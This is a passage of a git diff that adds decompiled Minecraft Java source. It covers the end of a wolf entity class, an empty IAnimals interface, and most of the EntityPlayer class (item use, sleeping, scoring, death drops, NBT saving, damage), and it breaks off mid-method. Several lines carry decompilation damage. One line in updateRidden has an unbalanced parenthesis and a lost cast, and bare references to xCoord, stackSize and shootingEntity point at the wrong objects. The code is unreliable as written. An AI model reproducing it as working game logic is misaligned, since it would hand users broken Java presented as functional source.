+    if (!(p_70878_1_ instanceof EntityWolf))
+    {
+      return false;
+    }
+    
+
+    EntityWolf var2 = (EntityWolf)p_70878_1_;
+    return var2.isTamed();
+  }
+  
+
+  public boolean func_70922_bv()
+  {
+    return dataWatcher.getWatchableObjectByte(19) == 1;
+  }
+  
+
+
+
+  protected boolean canDespawn()
+  {
+    return (!isTamed()) && (ticksExisted > 2400);
+  }
+  
+  public boolean func_142018_a(EntityLivingBase p_142018_1_, EntityLivingBase p_142018_2_)
+  {
+    if ((!(p_142018_1_ instanceof EntityCreeper)) && (!(p_142018_1_ instanceof EntityGhast)))
+    {
+      if ((p_142018_1_ instanceof EntityWolf))
+      {
+        EntityWolf var3 = (EntityWolf)p_142018_1_;
+        
+        if ((var3.isTamed()) && (var3.func_180492_cm() == p_142018_2_))
+        {
+          return false;
+        }
+      }
+      
+      return (!(p_142018_1_ instanceof EntityPlayer)) || (!(p_142018_2_ instanceof EntityPlayer)) || (((EntityPlayer)p_142018_2_).canAttackPlayer((EntityPlayer)p_142018_1_));
+    }
+    
+
+    return false;
+  }
+  
+
+  public boolean allowLeashing()
+  {
+    return (!isAngry()) && (super.allowLeashing());
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/IAnimals.java b/src/minecraft/net/minecraft/entity/passive/IAnimals.java
new file mode 100644
index 0000000..784eef9
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/IAnimals.java
@@ -0,0 +1,3 @@
+package net.minecraft.entity.passive;
+
+public abstract interface IAnimals {}
diff --git a/src/minecraft/net/minecraft/entity/player/EntityPlayer.java b/src/minecraft/net/minecraft/entity/player/EntityPlayer.java
new file mode 100644
index 0000000..9510b2d
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/player/EntityPlayer.java
@@ -0,0 +1,2572 @@
+package net.minecraft.entity.player;
+
+import com.google.common.base.Charsets;
+import com.google.common.collect.Lists;
+import com.mojang.authlib.GameProfile;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockBed;
+import net.minecraft.block.BlockDirectional;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.server.CommandBlockLogic;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityList.EntityEggInfo;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IMerchant;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.boss.EntityDragonPart;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.passive.EntityPig;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.entity.projectile.EntityFishHook;
+import net.minecraft.event.ClickEvent;
+import net.minecraft.event.ClickEvent.Action;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.inventory.InventoryEnderChest;
+import net.minecraft.item.EnumAction;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.scoreboard.IScoreObjectiveCriteria;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.ScoreObjective;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.scoreboard.Team;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.stats.StatBase;
+import net.minecraft.stats.StatList;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.CombatTracker;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.FoodStats;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.IInteractionObject;
+import net.minecraft.world.LockCode;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldSettings.GameType;
+
+public abstract class EntityPlayer extends EntityLivingBase
+{
+  public InventoryPlayer inventory = new InventoryPlayer(this);
+  private InventoryEnderChest theInventoryEnderChest = new InventoryEnderChest();
+  
+
+
+  public Container inventoryContainer;
+  
+
+
+  public Container openContainer;
+  
+
+  protected FoodStats foodStats = new FoodStats();
+  
+
+  protected int flyToggleTimer;
+  
+
+  public float prevCameraYaw;
+  
+
+  public float cameraYaw;
+  
+  public int xpCooldown;
+  
+  public double field_71091_bM;
+  
+  public double field_71096_bN;
+  
+  public double field_71097_bO;
+  
+  public double field_71094_bP;
+  
+  public double field_71095_bQ;
+  
+  public double field_71085_bR;
+  
+  protected boolean sleeping;
+  
+  public BlockPos playerLocation;
+  
+  private int sleepTimer;
+  
+  public float field_71079_bU;
+  
+  public float field_71082_cx;
+  
+  public float field_71089_bV;
+  
+  private BlockPos spawnChunk;
+  
+  private boolean spawnForced;
+  
+  private BlockPos startMinecartRidingCoordinate;
+  
+  public PlayerCapabilities capabilities = new PlayerCapabilities();
+  
+
+
+  public int experienceLevel;
+  
+
+
+  public int experienceTotal;
+  
+
+
+  public float experience;
+  
+
+
+  private int field_175152_f;
+  
+
+
+  private ItemStack itemInUse;
+  
+
+  public int itemInUseCount;
+  
+
+  protected float speedOnGround = 0.1F;
+  protected float speedInAir = 0.02F;
+  
+  private int field_82249_h;
+  
+  private final GameProfile gameProfile;
+  private boolean field_175153_bG = false;
+  
+
+  public EntityFishHook fishEntity;
+  
+  private static final String __OBFID = "CL_00001711";
+  
+
+  public EntityPlayer(World worldIn, GameProfile p_i45324_2_)
+  {
+    super(worldIn);
+    entityUniqueID = getUUID(p_i45324_2_);
+    gameProfile = p_i45324_2_;
+    inventoryContainer = new net.minecraft.inventory.ContainerPlayer(inventory, !isRemote, this);
+    openContainer = inventoryContainer;
+    BlockPos var3 = worldIn.getSpawnPoint();
+    setLocationAndAngles(var3.getX() + 0.5D, var3.getY() + 1, var3.getZ() + 0.5D, 0.0F, 0.0F);
+    field_70741_aB = 180.0F;
+    fireResistance = 20;
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getAttributeMap().registerAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(1.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.10000000149011612D);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Byte.valueOf((byte)0));
+    dataWatcher.addObject(17, Float.valueOf(0.0F));
+    dataWatcher.addObject(18, Integer.valueOf(0));
+    dataWatcher.addObject(10, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+  public ItemStack getItemInUse()
+  {
+    return itemInUse;
+  }
+  
+
+
+
+  public int getItemInUseCount()
+  {
+    return itemInUseCount;
+  }
+  
+
+
+
+  public boolean isUsingItem()
+  {
+    return itemInUse != null;
+  }
+  
+
+
+
+  public int getItemInUseDuration()
+  {
+    return isUsingItem() ? itemInUse.getMaxItemUseDuration() - itemInUseCount : 0;
+  }
+  
+  public void stopUsingItem()
+  {
+    if (itemInUse != null)
+    {
+      itemInUse.onPlayerStoppedUsing(worldObj, this, itemInUseCount);
+    }
+    
+    clearItemInUse();
+  }
+  
+  public void clearItemInUse()
+  {
+    itemInUse = null;
+    itemInUseCount = 0;
+    
+    if (!worldObj.isRemote)
+    {
+      setEating(false);
+    }
+  }
+  
+  public boolean isBlocking()
+  {
+    return (isUsingItem()) && (itemInUse.getItem().getItemUseAction(itemInUse) == EnumAction.BLOCK);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    noClip = func_175149_v();
+    
+    if (func_175149_v())
+    {
+      onGround = false;
+    }
+    
+    if (itemInUse != null)
+    {
+      ItemStack var1 = inventory.getCurrentItem();
+      
+      if (var1 == itemInUse)
+      {
+        if ((itemInUseCount <= 25) && (itemInUseCount % 4 == 0))
+        {
+          updateItemUse(var1, 5);
+        }
+        
+        if ((--itemInUseCount == 0) && (!worldObj.isRemote))
+        {
+          onItemUseFinish();
+        }
+      }
+      else
+      {
+        clearItemInUse();
+      }
+    }
+    
+    if (xpCooldown > 0)
+    {
+      xpCooldown -= 1;
+    }
+    
+    if (isPlayerSleeping())
+    {
+      sleepTimer += 1;
+      
+      if (sleepTimer > 100)
+      {
+        sleepTimer = 100;
+      }
+      
+      if (!worldObj.isRemote)
+      {
+        if (!func_175143_p())
+        {
+          wakeUpPlayer(true, true, false);
+        }
+        else if (worldObj.isDaytime())
+        {
+          wakeUpPlayer(false, true, true);
+        }
+      }
+    }
+    else if (sleepTimer > 0)
+    {
+      sleepTimer += 1;
+      
+      if (sleepTimer >= 110)
+      {
+        sleepTimer = 0;
+      }
+    }
+    
+    super.onUpdate();
+    
+    if ((!worldObj.isRemote) && (openContainer != null) && (!openContainer.canInteractWith(this)))
+    {
+      closeScreen();
+      openContainer = inventoryContainer;
+    }
+    
+    if ((isBurning()) && (capabilities.disableDamage))
+    {
+      extinguish();
+    }
+    
+    field_71091_bM = field_71094_bP;
+    field_71096_bN = field_71095_bQ;
+    field_71097_bO = field_71085_bR;
+    double var14 = posX - field_71094_bP;
+    double var3 = posY - field_71095_bQ;
+    double var5 = posZ - field_71085_bR;
+    double var7 = 10.0D;
+    
+    if (var14 > var7)
+    {
+      field_71091_bM = (this.field_71094_bP = posX);
+    }
+    
+    if (var5 > var7)
+    {
+      field_71097_bO = (this.field_71085_bR = posZ);
+    }
+    
+    if (var3 > var7)
+    {
+      field_71096_bN = (this.field_71095_bQ = posY);
+    }
+    
+    if (var14 < -var7)
+    {
+      field_71091_bM = (this.field_71094_bP = posX);
+    }
+    
+    if (var5 < -var7)
+    {
+      field_71097_bO = (this.field_71085_bR = posZ);
+    }
+    
+    if (var3 < -var7)
+    {
+      field_71096_bN = (this.field_71095_bQ = posY);
+    }
+    
+    field_71094_bP += var14 * 0.25D;
+    field_71085_bR += var5 * 0.25D;
+    field_71095_bQ += var3 * 0.25D;
+    
+    if (ridingEntity == null)
+    {
+      startMinecartRidingCoordinate = null;
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      foodStats.onUpdate(this);
+      triggerAchievement(StatList.minutesPlayedStat);
+      
+      if (isEntityAlive())
+      {
+        triggerAchievement(StatList.timeSinceDeathStat);
+      }
+    }
+    
+    int var9 = 29999999;
+    double var10 = MathHelper.clamp_double(posX, -2.9999999E7D, 2.9999999E7D);
+    double var12 = MathHelper.clamp_double(posZ, -2.9999999E7D, 2.9999999E7D);
+    
+    if ((var10 != posX) || (var12 != posZ))
+    {
+      setPosition(var10, posY, var12);
+    }
+  }
+  
+
+
+
+  public int getMaxInPortalTime()
+  {
+    return capabilities.disableDamage ? 0 : 80;
+  }
+  
+  protected String getSwimSound()
+  {
+    return "game.player.swim";
+  }
+  
+  protected String getSplashSound()
+  {
+    return "game.player.swim.splash";
+  }
+  
+
+
+
+  public int getPortalCooldown()
+  {
+    return 10;
+  }
+  
+  public void playSound(String name, float volume, float pitch)
+  {
+    worldObj.playSoundToNearExcept(this, name, volume, pitch);
+  }
+  
+
+
+
+  protected void updateItemUse(ItemStack itemStackIn, int p_71010_2_)
+  {
+    if (itemStackIn.getItemUseAction() == EnumAction.DRINK)
+    {
+      playSound("random.drink", 0.5F, worldObj.rand.nextFloat() * 0.1F + 0.9F);
+    }
+    
+    if (itemStackIn.getItemUseAction() == EnumAction.EAT)
+    {
+      for (int var3 = 0; var3 < p_71010_2_; var3++)
+      {
+        Vec3 var4 = new Vec3((rand.nextFloat() - 0.5D) * 0.1D, Math.random() * 0.1D + 0.1D, 0.0D);
+        var4 = var4.rotatePitch(-rotationPitch * 3.1415927F / 180.0F);
+        var4 = var4.rotateYaw(-rotationYaw * 3.1415927F / 180.0F);
+        double var5 = -rand.nextFloat() * 0.6D - 0.3D;
+        Vec3 var7 = new Vec3((rand.nextFloat() - 0.5D) * 0.3D, var5, 0.6D);
+        var7 = var7.rotatePitch(-rotationPitch * 3.1415927F / 180.0F);
+        var7 = var7.rotateYaw(-rotationYaw * 3.1415927F / 180.0F);
+        var7 = var7.addVector(posX, posY + getEyeHeight(), posZ);
+        
+        if (itemStackIn.getHasSubtypes())
+        {
+          worldObj.spawnParticle(EnumParticleTypes.ITEM_CRACK, xCoord, yCoord, zCoord, xCoord, yCoord + 0.05D, zCoord, new int[] { Item.getIdFromItem(itemStackIn.getItem()), itemStackIn.getMetadata() });
+        }
+        else
+        {
+          worldObj.spawnParticle(EnumParticleTypes.ITEM_CRACK, xCoord, yCoord, zCoord, xCoord, yCoord + 0.05D, zCoord, new int[] { Item.getIdFromItem(itemStackIn.getItem()) });
+        }
+      }
+      
+      playSound("random.eat", 0.5F + 0.5F * rand.nextInt(2), (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F);
+    }
+  }
+  
+
+
+
+  protected void onItemUseFinish()
+  {
+    if (itemInUse != null)
+    {
+      updateItemUse(itemInUse, 16);
+      int var1 = itemInUse.stackSize;
+      ItemStack var2 = itemInUse.onItemUseFinish(worldObj, this);
+      
+      if ((var2 != itemInUse) || ((var2 != null) && (stackSize != var1)))
+      {
+        inventory.mainInventory[inventory.currentItem] = var2;
+        
+        if (stackSize == 0)
+        {
+          inventory.mainInventory[inventory.currentItem] = null;
+        }
+      }
+      
+      clearItemInUse();
+    }
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 9)
+    {
+      onItemUseFinish();
+    }
+    else if (p_70103_1_ == 23)
+    {
+      field_175153_bG = false;
+    }
+    else if (p_70103_1_ == 22)
+    {
+      field_175153_bG = true;
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+
+
+
+  protected boolean isMovementBlocked()
+  {
+    return (getHealth() <= 0.0F) || (isPlayerSleeping());
+  }
+  
+
+
+
+  protected void closeScreen()
+  {
+    openContainer = inventoryContainer;
+  }
+  
+
+
+
+  public void updateRidden()
+  {
+    if ((!worldObj.isRemote) && (isSneaking()))
+    {
+      mountEntity(null);
+      setSneaking(false);
+    }
+    else
+    {
+      double var1 = posX;
+      double var3 = posY;
+      double var5 = posZ;
+      float var7 = rotationYaw;
+      float var8 = rotationPitch;
+      super.updateRidden();
+      prevCameraYaw = cameraYaw;
+      cameraYaw = 0.0F;
+      addMountedMovementStat(posX - var1, posY - var3, posZ - var5);
+      
+      if ((ridingEntity instanceof EntityPig))
+      {
+        rotationPitch = var8;
+        rotationYaw = var7;
+        renderYawOffset = ridingEntity).renderYawOffset;
+      }
+    }
+  }
+  
+
+
+
+
+  public void preparePlayerToSpawn()
+  {
+    setSize(0.6F, 1.8F);
+    super.preparePlayerToSpawn();
+    setHealth(getMaxHealth());
+    deathTime = 0;
+  }
+  
+  protected void updateEntityActionState()
+  {
+    super.updateEntityActionState();
+    updateArmSwingProgress();
+    rotationYawHead = rotationYaw;
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (flyToggleTimer > 0)
+    {
+      flyToggleTimer -= 1;
+    }
+    
+    if ((worldObj.getDifficulty() == EnumDifficulty.PEACEFUL) && (worldObj.getGameRules().getGameRuleBooleanValue("naturalRegeneration")))
+    {
+      if ((getHealth() < getMaxHealth()) && (ticksExisted % 20 == 0))
+      {
+        heal(1.0F);
+      }
+      
+      if ((foodStats.needFood()) && (ticksExisted % 10 == 0))
+      {
+        foodStats.setFoodLevel(foodStats.getFoodLevel() + 1);
+      }
+    }
+    
+    inventory.decrementAnimations();
+    prevCameraYaw = cameraYaw;
+    super.onLivingUpdate();
+    IAttributeInstance var1 = getEntityAttribute(SharedMonsterAttributes.movementSpeed);
+    
+    if (!worldObj.isRemote)
+    {
+      var1.setBaseValue(capabilities.getWalkSpeed());
+    }
+    
+    jumpMovementFactor = speedInAir;
+    
+    if (isSprinting())
+    {
+      jumpMovementFactor = ((float)(jumpMovementFactor + speedInAir * 0.3D));
+    }
+    
+    setAIMoveSpeed((float)var1.getAttributeValue());
+    float var2 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+    float var3 = (float)(Math.atan(-motionY * 0.20000000298023224D) * 15.0D);
+    
+    if (var2 > 0.1F)
+    {
+      var2 = 0.1F;
+    }
+    
+    if ((!onGround) || (getHealth() <= 0.0F))
+    {
+      var2 = 0.0F;
+    }
+    
+    if ((onGround) || (getHealth() <= 0.0F))
+    {
+      var3 = 0.0F;
+    }
+    
+    cameraYaw += (var2 - cameraYaw) * 0.4F;
+    cameraPitch += (var3 - cameraPitch) * 0.8F;
+    
+    if ((getHealth() > 0.0F) && (!func_175149_v()))
+    {
+      AxisAlignedBB var4 = null;
+      
+      if ((ridingEntity != null) && (!ridingEntity.isDead))
+      {
+        var4 = getEntityBoundingBox().union(ridingEntity.getEntityBoundingBox()).expand(1.0D, 0.0D, 1.0D);
+      }
+      else
+      {
+        var4 = getEntityBoundingBox().expand(1.0D, 0.5D, 1.0D);
+      }
+      
+      List var5 = worldObj.getEntitiesWithinAABBExcludingEntity(this, var4);
+      
+      for (int var6 = 0; var6 < var5.size(); var6++)
+      {
+        Entity var7 = (Entity)var5.get(var6);
+        
+        if (!isDead)
+        {
+          collideWithPlayer(var7);
+        }
+      }
+    }
+  }
+  
+  private void collideWithPlayer(Entity p_71044_1_)
+  {
+    p_71044_1_.onCollideWithPlayer(this);
+  }
+  
+  public int getScore()
+  {
+    return dataWatcher.getWatchableObjectInt(18);
+  }
+  
+
+
+
+  public void setScore(int p_85040_1_)
+  {
+    dataWatcher.updateObject(18, Integer.valueOf(p_85040_1_));
+  }
+  
+
+
+
+  public void addScore(int p_85039_1_)
+  {
+    int var2 = getScore();
+    dataWatcher.updateObject(18, Integer.valueOf(var2 + p_85039_1_));
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    super.onDeath(cause);
+    setSize(0.2F, 0.2F);
+    setPosition(posX, posY, posZ);
+    motionY = 0.10000000149011612D;
+    
+    if (getName().equals("Notch"))
+    {
+      func_146097_a(new ItemStack(Items.apple, 1), true, false);
+    }
+    
+    if (!worldObj.getGameRules().getGameRuleBooleanValue("keepInventory"))
+    {
+      inventory.dropAllItems();
+    }
+    
+    if (cause != null)
+    {
+      motionX = (-MathHelper.cos((attackedAtYaw + rotationYaw) * 3.1415927F / 180.0F) * 0.1F);
+      motionZ = (-MathHelper.sin((attackedAtYaw + rotationYaw) * 3.1415927F / 180.0F) * 0.1F);
+    }
+    else
+    {
+      motionX = (this.motionZ = 0.0D);
+    }
+    
+    triggerAchievement(StatList.deathsStat);
+    func_175145_a(StatList.timeSinceDeathStat);
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "game.player.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "game.player.die";
+  }
+  
+
+
+
+
+  public void addToPlayerScore(Entity entityIn, int amount)
+  {
+    addScore(amount);
+    Collection var3 = getWorldScoreboard().func_96520_a(IScoreObjectiveCriteria.totalKillCount);
+    
+    if ((entityIn instanceof EntityPlayer))
+    {
+      triggerAchievement(StatList.playerKillsStat);
+      var3.addAll(getWorldScoreboard().func_96520_a(IScoreObjectiveCriteria.playerKillCount));
+      var3.addAll(func_175137_e(entityIn));
+    }
+    else
+    {
+      triggerAchievement(StatList.mobKillsStat);
+    }
+    
+    Iterator var4 = var3.iterator();
+    
+    while (var4.hasNext())
+    {
+      ScoreObjective var5 = (ScoreObjective)var4.next();
+      Score var6 = getWorldScoreboard().getValueFromObjective(getName(), var5);
+      var6.func_96648_a();
+    }
+  }
+  
+  private Collection func_175137_e(Entity p_175137_1_)
+  {
+    ScorePlayerTeam var2 = getWorldScoreboard().getPlayersTeam(getName());
+    
+    if (var2 != null)
+    {
+      int var3 = var2.func_178775_l().func_175746_b();
+      
+      if ((var3 >= 0) && (var3 < IScoreObjectiveCriteria.field_178793_i.length))
+      {
+        Iterator var4 = getWorldScoreboard().func_96520_a(IScoreObjectiveCriteria.field_178793_i[var3]).iterator();
+        
+        while (var4.hasNext())
+        {
+          ScoreObjective var5 = (ScoreObjective)var4.next();
+          Score var6 = getWorldScoreboard().getValueFromObjective(p_175137_1_.getName(), var5);
+          var6.func_96648_a();
+        }
+      }
+    }
+    
+    ScorePlayerTeam var7 = getWorldScoreboard().getPlayersTeam(p_175137_1_.getName());
+    
+    if (var7 != null)
+    {
+      int var8 = var7.func_178775_l().func_175746_b();
+      
+      if ((var8 >= 0) && (var8 < IScoreObjectiveCriteria.field_178792_h.length))
+      {
+        return getWorldScoreboard().func_96520_a(IScoreObjectiveCriteria.field_178792_h[var8]);
+      }
+    }
+    
+    return Lists.newArrayList();
+  }
+  
+
+
+
+  public EntityItem dropOneItem(boolean p_71040_1_)
+  {
+    return func_146097_a(inventory.decrStackSize(inventory.currentItem, (p_71040_1_) && (inventory.getCurrentItem() != null) ? inventory.getCurrentItem().stackSize : 1), false, true);
+  }
+  
+
+
+
+  public EntityItem dropPlayerItemWithRandomChoice(ItemStack itemStackIn, boolean p_71019_2_)
+  {
+    return func_146097_a(itemStackIn, false, false);
+  }
+  
+  public EntityItem func_146097_a(ItemStack p_146097_1_, boolean p_146097_2_, boolean p_146097_3_)
+  {
+    if (p_146097_1_ == null)
+    {
+      return null;
+    }
+    if (stackSize == 0)
+    {
+      return null;
+    }
+    
+
+    double var4 = posY - 0.30000001192092896D + getEyeHeight();
+    EntityItem var6 = new EntityItem(worldObj, posX, var4, posZ, p_146097_1_);
+    var6.setPickupDelay(40);
+    
+    if (p_146097_3_)
+    {
+      var6.setThrower(getName());
+    }
+    
+
+
+
+    if (p_146097_2_)
+    {
+      float var7 = rand.nextFloat() * 0.5F;
+      float var8 = rand.nextFloat() * 3.1415927F * 2.0F;
+      motionX = (-MathHelper.sin(var8) * var7);
+      motionZ = (MathHelper.cos(var8) * var7);
+      motionY = 0.20000000298023224D;
+    }
+    else
+    {
+      float var7 = 0.3F;
+      motionX = (-MathHelper.sin(rotationYaw / 180.0F * 3.1415927F) * MathHelper.cos(rotationPitch / 180.0F * 3.1415927F) * var7);
+      motionZ = (MathHelper.cos(rotationYaw / 180.0F * 3.1415927F) * MathHelper.cos(rotationPitch / 180.0F * 3.1415927F) * var7);
+      motionY = (-MathHelper.sin(rotationPitch / 180.0F * 3.1415927F) * var7 + 0.1F);
+      float var8 = rand.nextFloat() * 3.1415927F * 2.0F;
+      var7 = 0.02F * rand.nextFloat();
+      motionX += Math.cos(var8) * var7;
+      motionY += (rand.nextFloat() - rand.nextFloat()) * 0.1F;
+      motionZ += Math.sin(var8) * var7;
+    }
+    
+    joinEntityItemWithWorld(var6);
+    
+    if (p_146097_3_)
+    {
+      triggerAchievement(StatList.dropStat);
+    }
+    
+    return var6;
+  }
+  
+
+
+
+
+  protected void joinEntityItemWithWorld(EntityItem p_71012_1_)
+  {
+    worldObj.spawnEntityInWorld(p_71012_1_);
+  }
+  
+  public float func_180471_a(Block p_180471_1_)
+  {
+    float var2 = inventory.getStrVsBlock(p_180471_1_);
+    
+    if (var2 > 1.0F)
+    {
+      int var3 = EnchantmentHelper.getEfficiencyModifier(this);
+      ItemStack var4 = inventory.getCurrentItem();
+      
+      if ((var3 > 0) && (var4 != null))
+      {
+        var2 += var3 * var3 + 1;
+      }
+    }
+    
+    if (isPotionActive(Potion.digSpeed))
+    {
+      var2 *= (1.0F + (getActivePotionEffect(Potion.digSpeed).getAmplifier() + 1) * 0.2F);
+    }
+    
+    if (isPotionActive(Potion.digSlowdown))
+    {
+      float var5 = 1.0F;
+      
+      switch (getActivePotionEffect(Potion.digSlowdown).getAmplifier())
+      {
+      case 0: 
+        var5 = 0.3F;
+        break;
+      
+      case 1: 
+        var5 = 0.09F;
+        break;
+      
+      case 2: 
+        var5 = 0.0027F;
+        break;
+      
+      case 3: 
+      default: 
+        var5 = 8.1E-4F;
+      }
+      
+      var2 *= var5;
+    }
+    
+    if ((isInsideOfMaterial(Material.water)) && (!EnchantmentHelper.getAquaAffinityModifier(this)))
+    {
+      var2 /= 5.0F;
+    }
+    
+    if (!onGround)
+    {
+      var2 /= 5.0F;
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public boolean canHarvestBlock(Block p_146099_1_)
+  {
+    return inventory.func_146025_b(p_146099_1_);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    entityUniqueID = getUUID(gameProfile);
+    NBTTagList var2 = tagCompund.getTagList("Inventory", 10);
+    inventory.readFromNBT(var2);
+    inventory.currentItem = tagCompund.getInteger("SelectedItemSlot");
+    sleeping = tagCompund.getBoolean("Sleeping");
+    sleepTimer = tagCompund.getShort("SleepTimer");
+    experience = tagCompund.getFloat("XpP");
+    experienceLevel = tagCompund.getInteger("XpLevel");
+    experienceTotal = tagCompund.getInteger("XpTotal");
+    field_175152_f = tagCompund.getInteger("XpSeed");
+    
+    if (field_175152_f == 0)
+    {
+      field_175152_f = rand.nextInt();
+    }
+    
+    setScore(tagCompund.getInteger("Score"));
+    
+    if (sleeping)
+    {
+      playerLocation = new BlockPos(this);
+      wakeUpPlayer(true, true, false);
+    }
+    
+    if ((tagCompund.hasKey("SpawnX", 99)) && (tagCompund.hasKey("SpawnY", 99)) && (tagCompund.hasKey("SpawnZ", 99)))
+    {
+      spawnChunk = new BlockPos(tagCompund.getInteger("SpawnX"), tagCompund.getInteger("SpawnY"), tagCompund.getInteger("SpawnZ"));
+      spawnForced = tagCompund.getBoolean("SpawnForced");
+    }
+    
+    foodStats.readNBT(tagCompund);
+    capabilities.readCapabilitiesFromNBT(tagCompund);
+    
+    if (tagCompund.hasKey("EnderItems", 9))
+    {
+      NBTTagList var3 = tagCompund.getTagList("EnderItems", 10);
+      theInventoryEnderChest.loadInventoryFromNBT(var3);
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setTag("Inventory", inventory.writeToNBT(new NBTTagList()));
+    tagCompound.setInteger("SelectedItemSlot", inventory.currentItem);
+    tagCompound.setBoolean("Sleeping", sleeping);
+    tagCompound.setShort("SleepTimer", (short)sleepTimer);
+    tagCompound.setFloat("XpP", experience);
+    tagCompound.setInteger("XpLevel", experienceLevel);
+    tagCompound.setInteger("XpTotal", experienceTotal);
+    tagCompound.setInteger("XpSeed", field_175152_f);
+    tagCompound.setInteger("Score", getScore());
+    
+    if (spawnChunk != null)
+    {
+      tagCompound.setInteger("SpawnX", spawnChunk.getX());
+      tagCompound.setInteger("SpawnY", spawnChunk.getY());
+      tagCompound.setInteger("SpawnZ", spawnChunk.getZ());
+      tagCompound.setBoolean("SpawnForced", spawnForced);
+    }
+    
+    foodStats.writeNBT(tagCompound);
+    capabilities.writeCapabilitiesToNBT(tagCompound);
+    tagCompound.setTag("EnderItems", theInventoryEnderChest.saveInventoryToNBT());
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if ((var2 != null) && (var2.getItem() != null))
+    {
+      tagCompound.setTag("SelectedItem", var2.writeToNBT(new NBTTagCompound()));
+    }
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    if ((capabilities.disableDamage) && (!source.canHarmInCreative()))
+    {
+      return false;
+    }
+    
+
+    entityAge = 0;
+    
+    if (getHealth() <= 0.0F)
+    {
+      return false;
+    }
+    
+
+    if ((isPlayerSleeping()) && (!worldObj.isRemote))
+    {
+      wakeUpPlayer(true, true, false);
+    }
+    
+    if (source.isDifficultyScaled())
+    {
+      if (worldObj.getDifficulty() == EnumDifficulty.PEACEFUL)
+      {
+        amount = 0.0F;
+      }
+      
+      if (worldObj.getDifficulty() == EnumDifficulty.EASY)
+      {
+        amount = amount / 2.0F + 1.0F;
+      }
+      
+      if (worldObj.getDifficulty() == EnumDifficulty.HARD)
+      {
+        amount = amount * 3.0F / 2.0F;
+      }
+    }
+    
+    if (amount == 0.0F)
+    {
+      return false;
+    }
+    
+
+    Entity var3 = source.getEntity();
+    
+    if (((var3 instanceof EntityArrow)) && (shootingEntity != null))
+    {
+      var3 = shootingEntity;
+    }
+    
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+
+
+  public boolean canAttackPlayer(EntityPlayer other)
+  {
+    Team var2 = getTeam();
+    Team var3 = other.getTeam();
+    return !var2.isSameTeam(var3) ? true : var2 == null ? true : var2.getAllowFriendlyFire();
+  }
+  
+  protected void damageArmor(float p_70675_1_)
+  {
+    inventory.damageArmor(p_70675_1_);
+  }
+  
+
+
+
+  public int getTotalArmorValue()
+  {
+    return inventory.getTotalArmorValue();
+  }
+  
+
+
+
+
+  public float getArmorVisibility()
+  {
+    int var1 = 0;
+    ItemStack[] var2 = inventory.armorInventory;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      ItemStack var5 = var2[var4];
+      
+      if (var5 != null)
+      {
